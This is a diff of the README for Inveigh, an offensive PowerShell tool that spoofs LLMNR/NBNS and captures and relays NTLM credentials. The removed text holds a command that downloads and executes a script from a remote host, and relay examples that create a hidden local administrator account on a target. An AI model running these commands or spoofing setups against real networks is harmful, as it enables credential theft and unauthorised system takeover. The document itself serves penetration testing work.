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@@ -1,5 +1,9 @@ -# Inveigh -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool designed to assist penetration testers that find themselves limited to a Windows system. +# **Inveigh** + +Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. + +## Wiki +* https://github.com/Kevin-Robertson/Inveigh/wiki ## Included In * PowerShell Empire - https://github.com/PowerShellEmpire/Empire @@ -10,250 +14,25 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool design * pupy - https://github.com/n1nj4sec/pupy ## Special Thanks -* Anyone that posted .NET packet sniffing examples. +* Anyone that posted .NET packet sniffing examples * Responder - https://github.com/lgandx/Responder * Impacket - https://github.com/CoreSecurity/impacket -## Import -* To import with Import-Module: - Import-Module ./Inveigh.psd1 - -* To import using the dot source method: - . ./Inveigh.ps1 - . ./Inveigh-BruteForce.ps1 - . ./Inveigh-Relay.ps1 - -* To load into memory using Invoke-Expression: - IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1") - IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Unprivileged.ps1") - IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1") - -## System Requirements -* Tested minimums are PowerShell 2.0 and .NET 3.5 - -## Functions -* Invoke-Inveigh -* Invoke-InveighUnprivileged -* Invoke-InveighRelay -* Clear-Inveigh -* Get-Inveigh -* Stop-Inveigh -* Watch-Inveigh - -### Invoke-Inveigh -* The main Inveigh LLMNR/NBNS spoofer function. - -##### Privilege Requirements: -* Elevated Administrator or SYSTEM - -##### Features: -* IPv4 LLMNR/NBNS spoofer with granular control -* NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB -* Basic auth cleartext credential capture over HTTP/HTTPS -* WPAD server capable of hosting a basic or custom wpad.dat file -* HTTP/HTTPS server capable of hosting limited content -* Granular control of console and file output -* Run time control - -##### Notes: -* LLMNR/NBNS spoofing is performed by packet sniffing and responding through raw sockets. -* SMB challenge/response captures are performed by sniffing over the host system's SMB service. -* The local LLMNR/NBNS services do not need to be disabled on the host system. -* LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. -* Ensure that any needed LMMNR, NBNS, SMB, HTTP, HTTPS ports are open within any local firewall on the host system. -* If you copy/paste challenge/response captures from the console window for password cracking, ensure that there are no extra carriage returns. - -##### Examples: -* To execute with default settings: - Invoke-Inveigh - -* To load and execute with one line: - Import-Module ./Inveigh.ps1;Invoke-Inveigh - -* To execute with ConsoleOutput, FileOutput, and the NBNS spoofer enabled. - Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -NBNS Y - -##### Screenshot: - - -##### Parameters: -* __IP__ - Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set. -* __SpooferIP__ - IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. -* __SpooferHostsReply__ - Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. Listed hostnames will override the whitelist created through SpooferLearning. -* __SpooferHostsIgnore__ - Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. -* __SpooferIPsReply__ - Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. -* __SpooferIPsIgnore__ - Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. -* __SpooferLearning__ - Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the hostname to a spoofing blacklist. The valid system must respond to the protocol type that matches the protocol of the original request in order to be blacklisted. -* __SpooferLearningDelay__ - (Integer) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning. -* __SpooferLearningInterval__ - Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a hostname that has already been checked if SpooferLearning is enabled. -* __SpooferRepeat__ - Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. -* __LLMNR__ - Default = Enabled: (Y/N) Enable/Disable LLMNR spoofer. -* __LLMNRTTL__ - Default = 30 Seconds: LLMNR TTL in seconds for the response packet. -* __NBNS__ - Default = Disabled: (Y/N) Enable/Disable NBNS spoofer. -* __NBNSTTL__ - Default = 165 Seconds: NBNS TTL in seconds for the response packet. -* __NBNSTypes__ - Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name -* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. -* __HTTPS__ - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the function does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. -* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and connecting to the root of the web server. -* __HTTPBasicRealm__ - Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. -* __HTTPDir__ - Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. -* __HTTPDefaultFile__ - Filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests. -* __HTTPDefaultEXE__ - EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. -* __HTTPResponse__ - String or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. -* __HTTPSCertAppID__ - Valid application GUID for use with the ceriticate. -* __HTTPSCertThumbprint__ - Certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. -* __WPADAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. -* __WPADEmptyFile__ - Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when using WPADIP, WPADPort, or WPADResponse. -* __WPADIP__ - Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. -* __WPADPort__ - Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. -* __WPADDirectHosts__ - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. -* __WPADResponse__ - wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary. -* __SMB__ - Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host. -* __Challenge__ - Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. -* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. -* __ConsoleOutput__ - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. -* __ConsoleStatus__ - Default = Disabled: (Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions. -* __ConsoleUnique__ - Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. -* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output. -* __FileUnique__ - Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled. -* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. -* __OutputStreamOnly__ - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. -* __OutputDir__ - Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be enabled. -* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup. -* __RunTime__ - Default = Unlimited: (Integer) Run time duration in minutes. -* __Inspect__ - (Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. -* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive PowerShell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -### Invoke-InveighUnprivileged -* Inveigh LLMNR/NBNS spoofer function that does not require local administrator access. - -##### Privilege Requirements: -* Regular User - -##### Features: -* IPv4 NBNS spoofer with granular control that can be run with or without disabling the local NBNS service -* IPv4 LLMNR spoofer with granular control that can be run only with the local LLMNR service disabled -* Targeted IPv4 NBNS brute force spoofer with granular control -* NTLMv1/NTLMv2 challenge/response capture over HTTP -* Basic auth cleartext credential capture over HTTP -* WPAD server capable of hosting a basic or custom wpad.dat file -* HTTP server capable of hosting limited content -* Granular control of console and file output -* Run time control - -##### Notes: -* The local NBNS service does not need to be disabled on the host system. -* Ensure that any needed LMMNR, NBNS, HTTP ports are open within any local firewall on the host system. -* Migrating/injecting into a process that has already been allowed incoming/outgoing firewall access should also work. -* If you copy/paste challenge/response captures from the console window for password cracking, ensure that there are no extra carriage returns. -* Microsoft released patches in June 2016 that will likely prevent some of this function's brute force features from working the way they did before June. - -##### Examples: -* To execute with default settings: - Invoke-InveighUnprivileged - -* To execute with ConsoleOutput and FileOutput enabled and a run time of 30 minutes. - Invoke-InveighUnprivileged -ConsoleOutput Y -FileOutput Y -RunTime 30 - -##### Screenshot: - - -##### Parameters: -* __SpooferIP__ - IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Unprivileged host. -* __SpooferTarget__ - IP address to target for brute force NBNS spoofing. -* __SpooferHostsReply__ - Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. -* __SpooferHostsIgnore__ - Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. -* __SpooferIPsReply__ - Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. -* __SpooferIPsIgnore__ - Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. -* __SpooferRepeat__ - Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. -* __LLMNR__ - Default = Enabled: (Y/N) Enable/Disable LLMNR spoofer. -* __LLMNRTTL__ - Default = 30 Seconds: LLMNR TTL in seconds for the response packet. -* __NBNS__ - Default = Disabled: (Y/N) Enable/Disable NBNS spoofer. -* __NBNSTTL__ - Default = 165 Seconds: NBNS TTL in seconds for the response packet. -* __NBNSTypes__ - Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name -* __NBNSBruteForce__ - Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. -* __NBNSBruteForceHost__ - Default = WPAD: Hostname for NBNS brute force spoofer. -* __NBNSBruteForcePause__ Default = Disabled: (Integer) Time in seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. -* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. -* __HTTPIP__ - Default = Any: IP address for the HTTP listener. -* __HTTPPort__ - Default = 80: TCP port for the HTTP listener. -* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and connecting to the root of the web server. -* __HTTPBasicRealm__ - Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. Use PowerShell character escapes where necessary. -* __HTTPResponse__ - String or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. -* __WPADAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. -* __WPADEmptyFile__ - Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when using WPADIP, WPADPort, or WPADResponse. -* __WPADIP__ - Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. -* __WPADPort__ - Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. -* __WPADDirectHosts__ - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. -* __WPADResponse__ - wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary. -* __Challenge__ - Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. -* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. -* __ConsoleStatus__ - Default = Disabled: (Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions. -* __ConsoleUnique__ - Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. -* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output. -* __FileUnique__ - Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled. -* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. -* __OutputStreamOnly__ - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. -* __OutputDir__ - Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be enabled. -* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup. -* __RunCount__ - Default = Unlimited: (Integer) Number of captures to perform before auto-exiting. -* __RunTime__ - Default = Unlimited: (Integer) Run time duration in minutes. -* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive PowerShell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -### Invoke-InveighRelay -* The NTLMv2 HTTP/HTTPS to SMB relay command execution function. This function can be used with or without Invoke-Inveigh. - -##### Privilege Requirements: -* Elevated Administrator or SYSTEM +## Overview -##### Features: -* HTTP/HTTPS to SMB NTLMv2 relay with granular control -* NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS -* Granular control of console and file output +At its core, Inveigh is a .NET packet sniffer that listens for and responds to LLMNR/mDNS/NBNS requests while also capturing incoming NTLMv1/NTLMv2 authentication attempts over the Windows SMB service. The primary advantage of this packet sniffing method on Windows is that port conflicts with default running services are avoided. Inveigh’s HTTP/HTTPS/Proxy based features are not provided through the packet sniffer, they are provided through TCP listeners. Inveigh relies on creating multiple runspaces to load the sniffer, listeners, and control functions within a single shell and PowerShell process. -##### Examples: -* To execute with basic options: - Invoke-Inveigh -HTTP N - Invoke-InveighRelay -SMBRelayTarget 192.168.1.50 -SMBRelayCommand "net user Inveigh Summer2016 /add && net localgroup administrators Inveigh /add" - -* To execute with and only perform SMB relay with the 'Administrator' account: - Invoke-InveighUnprivileged -HTTP N - Invoke-InveighRelay -SMBRelayTarget 192.168.1.50 -SMBRelayCommand "net user Inveigh Summer2016 /add && net localgroup administrators Inveigh /add" -SMBRelayUsernames Administrator +##### Inveigh running with elevated privilege + -##### Screenshot: - +Since the .NET packet sniffer requires elevated privilege, Inveigh also contains UDP listener based LLMNR/mDNS/NBNS functions. These listeners can provide the ability to perform spoofing with only unprivileged access. Port conflicts can still be an issue with any running Windows listeners bound to 0.0.0.0. This generally impacts LLMNR. On a system with the Windows LLMNR service running, Inveigh’s unprivileged LLMNR spoofer will not be able to start. Inveigh can usually perform unprivileged NBNS spoofing on systems with the NBNS service already running since it’s often not bound to 0.0.0.0. Most of Inveigh’s other features, with the primary exceptions of the packet sniffer’s SMB capture and HTTPS (due to certificate install privilege requirements), do not require elevated privilege. Note that an enabled local firewall blocking all relevant ports, and without a listed service with open firewall access suitable for migration, can still prevent Inveigh from working with just unprivileged access since privileged access will likely be needed to modify the firewall settings. -##### Parameters: -* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. -* __HTTPS__ - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. -* __HTTPSCertAppID__ - Valid application GUID for use with the ceriticate. -* __HTTPSCertThumbprint__ - Certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. -* __Challenge__ - Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. -* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. -* __WPADAuth__ - Default = NTLM: (Anonymous,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. -* __SMBRelayTarget__ - IP address of system to target for SMB relay. -* __SMBRelayCommand__ - Command to execute on SMB relay target. Use PowerShell character escapes where necessary. -* __SMBRelayUsernames__ - Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. -* __SMBRelayAutoDisable__ - Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. -* __SMBRelayNetworkTimeout__ - Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. -* __ConsoleOutput__ - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. -* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output. -* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. -* __OutputStreamOnly__ - Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. -* __OutputDir__ - Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be enabled. -* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup. -* __RunTime__ - Default = Unlimited: (Integer) Run time duration in minutes. -* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive PowerShell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +By default, Inveigh will attempt to detect the privilege level and load the corresponding functions. -##### Notes: -* Ensure that any needed HTTP, HTTPS ports are open within any local firewall on the host system. -* If you copy/paste challenge/response captures from the console window for password cracking, ensure that there are no extra carriage returns. +##### Inveigh running without elevated privilege + -### Support Functions -* __Clear-Inveigh__ - Clear Inveigh data from memory -* __Get-Inveigh__ - Get Inveigh data from memory - Parameters: Console, ClearText, CleartextUnique, Learning, Log, NTLMv1, NTLMv1Unique, NTLMv1Usernames, NTLMv2, NTLMv2Unique, NTLMv2Usernames -* __Stop-Inveigh__ - Stop all running Inveigh functions -* __Watch-Inveigh__ - Enable real time console output +Inveigh provides NTLMv1/NTLMv2 HTTP/HTTPS/Proxy to SMB1/SMB2 relay through the Inveigh-Relay module. This module does not require elevated privilege, again with the exception of HTTPS, on the Inveigh host. However, since the module currently only has a PSExec type command execution attack, the relayed challenge/response will need to be from an account that has remote command execution privilege on the target. The Inveigh host itself can be targeted for relay if the goal is local privilege escalation. -##### Screenshot: - +##### Inveigh and Inveigh-Relay running together to execute an Empire 2.0 launcher + |